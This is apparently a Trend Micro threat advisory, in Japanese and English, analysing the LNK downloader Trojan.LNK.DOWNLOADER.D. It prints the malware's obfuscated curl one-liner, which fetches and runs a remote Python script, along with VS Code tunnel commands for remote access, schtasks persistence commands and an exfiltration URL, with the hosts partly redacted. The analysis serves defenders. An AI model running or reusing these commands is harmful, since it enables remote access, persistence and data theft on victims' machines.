Trojan.LNK.DOWNLOADER.D

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %AppDataLocal%\Microsoft\Python\update.py
• %AppDataLocal%\Microsoft\python.zip
  • After extracting to %AppDataLocal%\Microsoft\Python:
    • _asyncio.pyd
    • _bz2.pyd
    • _ctypes.pyd
    • _decimal.pyd
    • _elementtree.pyd
    • _hashlib.pyd
    • _lzma.pyd
    • _msi.pyd
    • _multiprocessing.pyd
    • _overlapped.pyd
    • _queue.pyd
    • _socket.pyd
    • _sqlite3.pyd
    • _ssl.pyd
    • _uuid.pyd
    • _wmi.pyd
    • _zoneinfo.pyd
    • libcrypto-3.dll
    • libffi-8.dll
    • libssl-3.dll
    • LICENSE.txt
    • pyexpat.pyd
    • python.cat
    • python.exe
    • python.zip
    • python3.dll
    • python312._pth
    • python312.dll
    • python312.zip
    • pythonw.exe
    • select.pyd
    • sqlite3.dll
    • unicodedata.pyd
    • vcruntime140_1.dll
    • vcruntime140.dll
    • winsound.pyd

(註：%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

マルウェアは、以下のプロセスを追加します。

• "%System%\cmd.exe" /c start msg {Username} "安裝成功" & c^u^r^l -s -k https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip -o "%AppDataLocal%\Microsoft\python.zip" & timeout 10 & mkdir "%AppDataLocal%\Microsoft\Python" & tar -xf "%AppDataLocal%\Microsoft\python.zip" -C "%AppDataLocal%\Microsoft\Python" & c^u^r^l -s -k https://{BLOCKED}e.ee/r/DQjrd/0 -o "%AppDataLocal%\Microsoft\Python\update.py" & start "" /B "%AppDataLocal%\Microsoft\Python\pythonw.exe" "%AppDataLocal%\Microsoft\Python\update.py"

マルウェアは、以下のフォルダを作成します。

• %AppDataLocal%\Microsoft\Python

(註：%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• https://{BLOCKED}e.ee/r/DQjrd/0

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

• https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %AppDataLocal%\Microsoft\python.zip → legitimate Python 3.12.5 x64 zip file
• %AppDataLocal%\Microsoft\Python\update.py → malicious Python code

(註：%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

その他

マルウェアは、以下を実行します。

• It sends Windows message "安裝成功" translated to "Installation successful".
• It downloads a legitimate 64-bit Python 3.12.5 embedded zip file and extracts its contents.
• It downloads a malicious Python script file from a URL and executes using the extracted Python package.
• It requires the following command line tools to proceed with its intended routine:
  • curl
  • tar
• The executed Python code does the following:
  • It fetches running processes using tasklist command.
  • It connects to the following URL(s) to download its component file(s):
    • https://{BLOCKED}95.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
  • It saves the files it downloads using the following names:
    • %AppDataLocal%\Microsoft\vscode.zip → contains a file named code.exe
  • It adds the following folders:
    • %AppDataLocal%\Microsoft\VSCode
  • It extracts the zip file into the created folder with the following filename:
    • %AppDataLocal%\Microsoft\VSCode\code.exe
  • After extraction, it deletes the previously downloaded zip file.
  • It adds the following processes:
    • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe tunnel --accept-server-license-terms user logout"
    • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe --locale en-US tunnel --accept-server-license-terms --name "{Computer Name}"
      • Saves the output into the following files:
        • %AppDataLocal%\Microsoft\VSCode\output.txt
        • %AppDataLocal%\Microsoft\VSCode\output2.txt
    • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /st 08:00 /sc HOURLY /mo 4 /f
    • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
  • It retrieves the following information from the affected system:
    • System Locale
    • Computer Name
    • Username
    • User Domain
    • %Program Files% Contents
    • %ProgramData% Contents
    • %System Root%\Users Contents
  • It encodes the collected information into a Base64 format.
  • It sends the gathered information via HTTP POST to the following URL:
    • http://{BLOCKED}o.com/r/2yxp98b3/{Encoded Base64 String of Collected information}
  • It adds the following scheduled tasks:
    • If executed as user:
      • Location: {Root Directory}
        Name: MicrosoftHealthcareMonitorNode
        Trigger: One time at 8:00 AM on {Scheduled Task Create Time} → After triggered, repeat every 04:00:00 indefinitely.
        Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
    • If executed as an administrator:
      • Location: {Root Directory}
        Name: MicrosoftHealthcareMonitorNode
        Trigger: At log on of any user
        Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py

<補足>
インストール

マルウェアは、以下のファイルを作成します。

• %AppDataLocal%\Microsoft\Python\update.py
• %AppDataLocal%\Microsoft\python.zip
  • %AppDataLocal%\Microsoft\Pythonに抽出した後：
    • _asyncio.pyd
    • _bz2.pyd
    • _ctypes.pyd
    • _decimal.pyd
    • _elementtree.pyd
    • _hashlib.pyd
    • _lzma.pyd
    • _msi.pyd
    • _multiprocessing.pyd
    • _overlapped.pyd
    • _queue.pyd
    • _socket.pyd
    • _sqlite3.pyd
    • _ssl.pyd
    • _uuid.pyd
    • _wmi.pyd
    • _zoneinfo.pyd
    • libcrypto-3.dll
    • libffi-8.dll
    • libssl-3.dll
    • LICENSE.txt
    • pyexpat.pyd
    • python.cat
    • python.exe
    • python.zip
    • python3.dll
    • python312._pth
    • python312.dll
    • python312.zip
    • pythonw.exe
    • select.pyd
    • sqlite3.dll
    • unicodedata.pyd
    • vcruntime140_1.dll
    • vcruntime140.dll
    • winsound.pyd

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

• https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %AppDataLocal%\Microsoft\python.zip → 正規のZIPファイル「Python 3.12.5 x64」
• %AppDataLocal%\Microsoft\Python\update.py → 不正なPythonコード

その他

マルウェアは、以下を実行します。

• Windowsメッセージ「安裝成功」を送信します。 （「安裝成功」＝「インストール成功」の意）
• 正規のPython 3.12.5（64ビット）が埋め込まれたZIPファイルをダウンロードし、その内容を抽出します。
• URLから不正なPythonスクリプトファイルをダウンロードし、抽出されたPythonパッケージを使用して実行します。
• 意図した不正活動を実行するには、以下のコマンドラインツールが必要です。
  • curl
  • tar
• 実行されたPythonコードは、以下を実行します。
  • tasklistコマンドを使用して実行中のプロセスを取得します。
  • 以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。
    • https://{BLOCKED}95.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
  • 以下のファイル名でダウンロードしたファイルを保存します。
    • %AppDataLocal%\Microsoft\vscode.zip → code.exeという名前のファイルを含む
  • 以下のフォルダを追加します。
    • %AppDataLocal%\Microsoft\VSCode
  • 作成されたフォルダに以下のファイル名でZIPファイルを抽出します。
    • %AppDataLocal%\Microsoft\VSCode\code.exe
  • 抽出後、以前にダウンロードしたZIPファイルを削除します。
  • 以下のプロセスを追加します。
    • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe tunnel --accept-server-license-terms user logout"
    • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe --locale en-US tunnel --accept-server-license-terms --name "{コンピュータ名}"
      • 出力を以下のファイルに保存します。
        • %AppDataLocal%\Microsoft\VSCode\output.txt
        • %AppDataLocal%\Microsoft\VSCode\output2.txt
    • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /st 08:00 /sc HOURLY /mo 4 /f
    • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
  • 影響を受けるコンピュータから以下の情報を取得します。
    • システムロケール
    • コンピュータ名
    • ユーザ名
    • ユーザドメイン
    • %Program Files%のコンテンツ
    • %ProgramData%のコンテンツ
    • %System Root%\Usersのコンテンツ
  • 収集した情報をBase64形式にエンコードします。
  • HTTP POSTを介して、収集した情報を以下のURLに送信します。
    • http://{BLOCKED}o.com/r/2yxp98b3/{収集した情報をエンコードしたBase64文字列}
  • 以下のスケジュールされたタスクを追加します。
    • ユーザとして実行された場合：
      • 場所: {ルートディレクトリ}
        名前: MicrosoftHealthcareMonitorNode
        トリガ: {スケジュールされたタスク作成時間}の8:00 AMに一度 → トリガ後、04:00:00毎に無期限に繰り返す。
        アクション: プログラムの起動 → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
    • 管理者として実行された場合：
      • 場所: {ルートディレクトリ}
        名前: MicrosoftHealthcareMonitorNode
        トリガ: 任意のユーザのログオン時
        アクション: プログラムの起動 → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py